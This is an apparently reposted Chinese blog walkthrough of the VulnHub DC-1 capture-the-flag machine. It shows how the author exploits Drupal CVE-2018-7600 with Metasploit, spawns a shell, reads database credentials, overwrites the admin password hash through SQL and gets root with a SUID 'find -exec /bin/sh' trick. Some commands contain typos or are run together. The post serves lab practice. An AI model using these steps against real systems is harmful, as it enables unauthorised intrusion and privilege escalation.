博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
vulnhub靶机 DC1练习之find提权
阅读量:3938 次
发布时间:2019-05-23

本文共 1296 字,大约阅读时间需要 4 分钟。

vulnhub靶机 DC1 练习

vulnhub靶机 DC1 练习

DC靶机的内网渗透,简介里说我们要找出5个flge就算通关了

开始

靶场启动后我们内网扫一波找出靶机的ip地址,这里我们用nmap扫。

在这里插入图片描述
端口扫描:
在这里插入图片描述
这里我们访问一下开放的80端口:
在这里插入图片描述
在百度搜索drupal存在远程代码执行漏洞
在这里插入图片描述

这里我们直接用msf进行复现:

search CVE-2018-7600 搜索复现模块
在这里插入图片描述
use 模块路径
show options
set RHOST 目标ip
run
在这里插入图片描述
查看一下当前的用户权限:

whoaml

在这里插入图片描述

这里我们就在当前位置到到了第一个flag
在这里插入图片描述
查看第一个文件提示:
在这里插入图片描述在这里插入图片描述
这里我们就找找cms的配置文件,并打开他。
在这里插入图片描述在这里插入图片描述
这里我们就找到了第二个flag
在这里插入图片描述
这意思应该是要让我们提权,但是没思路,但是看到了数据库的账号密码可以连接试试。
在这里插入图片描述
试了几次发现登不上,去看了看别个做的,发现要先获取一个python的标准shell

python -c “import pty;pty.spawn(’/bin/bash’)”

在这里插入图片描述

获取标准shell后就成功登上了mysql。
在这里插入图片描述
接下来查看当前数据库

show databases; //查看所有数据库show tables; //查表

在这里插入图片描述

再进入数据库查表:
在这里插入图片描述看见一个user表看看里面的数据:

select * from 表名;

在这里插入图片描述

查看到了账号密码看能不能替换了,但是他的密码是经过加密的用了该cms特有的hash算法。接下来找hash加密文件。
在这里插入图片描述
把加密下来的密码复制现在替换掉数据库里面的密码

update users set pass="$S$DsilJYj0DZUjqVvQBVt72POhIUf/Wh9rj1f6pjDrznjcfhJLzJ29" where name="admin";

修改后直接登录。

在这里插入图片描述可以在这里面发现flag3:
在这里插入图片描述flag4就在home目录里,打开就行了。
在这里插入图片描述
这里的提示大概就是线索在root目录里面但是没有权限。
在这里插入图片描述
果然没有,这里就需要提权了。我这里使用suid提权。
已知的可用来提权的linux可行性的文件列表如下:

Nmap

Vim
find
Bash
More
Less
Nano
cp

以下命令可以发现系统上运行的所有SUID可执行文件。

#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试find / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000-print2>/dev/nullfind / -user root -perm -4000-exec ls -ldb {
} \

我们来查看是root权限运行的文件:

在这里插入图片描述发现能利用的只有/usr/bin/find,确认一下是不是root权限运行。

ls -lh /usr/bin/find

在这里插入图片描述确认是root权限后执行以下命令;

find ./ aaa -exec '/bin/sh' \;

在这里插入图片描述获取root权限后就可以打开root文件里找到最后一个flga了。

在这里插入图片描述

结束!!!!!!

转载地址:http://haywi.baihongyu.com/

你可能感兴趣的文章
关于安装系统后不能启动的问题!
查看>>
U盘的挂载过程-先记录一下
查看>>
python程序启动过程报错的排错一般步骤
查看>>
linux下UEFI的管理
查看>>
类thinkpad笔记本安装deepinv20后启动黒屏的解决
查看>>
存在UEFI后的启动
查看>>
重置vCenter Server Appliance 7.0根密码
查看>>
利用本地centos镜像升级centOS
查看>>
proxmox从6.0升级到6.3
查看>>
FreeBSD常用操作
查看>>
VC及esxi升级的必要性和步骤
查看>>
hp DL338服务器修改ilo管理地址
查看>>
vmware convert P2V 错误二三事
查看>>
让kali2020中的zsh有补完功能
查看>>
python解开压缩文件6位纯数字密码
查看>>
5620系列密码清除
查看>>
vncsever-centos&debian
查看>>
华为snmp模板
查看>>
华为wlan模板
查看>>
kvm&xen挂载镜像文件
查看>>